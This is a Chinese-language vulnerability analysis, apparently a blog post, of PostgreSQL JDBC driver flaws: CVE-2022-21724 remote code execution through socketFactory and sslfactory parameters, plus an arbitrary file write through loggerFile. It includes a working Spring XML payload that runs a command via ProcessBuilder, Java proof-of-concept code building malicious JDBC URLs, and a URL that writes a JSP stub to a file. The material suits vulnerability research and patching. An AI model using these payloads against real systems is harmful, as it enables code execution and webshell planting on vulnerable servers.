PostgreSQL JDBC Driver Attack

103

CVE-2022-21724

Remote Code Execution

影响范围

• < 42.2.25 • >= 42.3.0,< 42.3.2

socketFactory/socketFactoryArg

再识别判断出将利用org.postgresql.Driver的jdbc驱动去连接数据库后,经过若干步骤会执行到

org.postgresql.core.v3.ConnectionFactoryImpl@openConnectionImpl

image-20230730150344403

跟进 getSocketFactory方法

image-20230730150503428

info是我们在配置jdbc URL时设置的参数,会从info中取出socketFactory,然后调用ObjectFactory.instantiate方法

继续跟进

image-20230730150639040

stringingarg参数为jdbc URL设置的socketFactoryArg参数

image-20230730151631939

首先尝试获取我们传入的类的参数为Properties的构造方法,获取失败后会尝试获取参数为String的构造方法,然后对其进行初始化

这时候可以想到org.springframework.context.support.ClassPathXmlApplicationContext这个类

(需要有spring-context-support的依赖)

  public ClassPathXmlApplicationContext(String configLocation) throws BeansException {      this(new String[]{configLocation}, true, (ApplicationContext)null);  }

其可以接受一个String类型的参数作为路径,并从中加载xml文件

此时可以通过在xml中配置bean让其进行自动装配

image-20230730152247932

可以通过设置init-method指定在执行bean的构造方法后调用的方法

很容易想到java.lang.ProcessBuilder(String[] cmd).start()

evil.xml:

<beans xmlns="http://www.springframework.org/schema/beans"       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"       xmlns:p="http://www.springframework.org/schema/p"       xsi:schemaLocation="http://www.springframework.org/schema/beans        http://www.springframework.org/schema/beans/spring-beans.xsd">   <bean id="exec" class="java.lang.ProcessBuilder" init-method="start">        <constructor-arg>          <list>            <value>open</value>            <value>-a</value>            <value>Calculator</value>          </list>        </constructor-arg>    </bean></beans>

    public static void main(String[] args) throws Exception{        String socketFactoryClass = "org.springframework.context.support.ClassPathXmlApplicationContext";        String socketFactoryArg = "http://127.0.0.1:2333/evil.xml";        String jdbcURL = "jdbc:postgresql://127.0.0.1:5432/test?socketFactory=" + socketFactoryClass + "&socketFactoryArg="+socketFactoryArg;        Connection connection = DriverManager.getConnection(jdbcURL);    }

调用栈:

image-20230730152958638

sslfactory/sslfactoryarg

org.postgresql.core.v3.ConnectionFactoryImpl@openConnectionImpl中会尝试与数据库建立连接

image-20230730154914891

然后进入org.postgresql.core.v3.ConnectionFactoryImpl@enableSSL方法

image-20230730155428227

通过pgStream.receiveChar()会接受一个字符,如果接收到的字符为S,则会调用MakeSSL.convert

image-20230730155531131

剩下的就和之前分析的socketFactory类似

image-20230730155557144

image-20230730155648733

调用栈

image-20230730155624514

修复

image-20230730165230841

要求获取的类名必须是指定类的子类,否则就抛出异常

任意文件写入

影响范围

  • 42.3.x < 42.3.3

  • 42.1.x

loggerLevel/loggerFile

在利用postgresql的jdbc连接提供的数据源时,会进行日志初始化等操作,我们只需要指定loggerLevel和loggerFile即可将jdbc://的URL内容写入指定文件

String loggerLevel="DEBUG";String loggerFile="../pwn.jsp";String shellContent="<%25test;%25>";String dbUrl = "jdbc:postgresql:///?loggerLevel="+loggerLevel+"&loggerFile="+loggerFile+"&"+shellContent;DriverManager.getConnection(dbUrl);

org.postgresql.Driver@connect中,会提取出传参内容带入到setupLoggerFromProperties方法中

image-20230730161642916

从参数中取出loggerFile作为路径,然后写日志

image-20230730162035944

修复

image-20230730165850989

直接将setupLoggerFromProperties删去了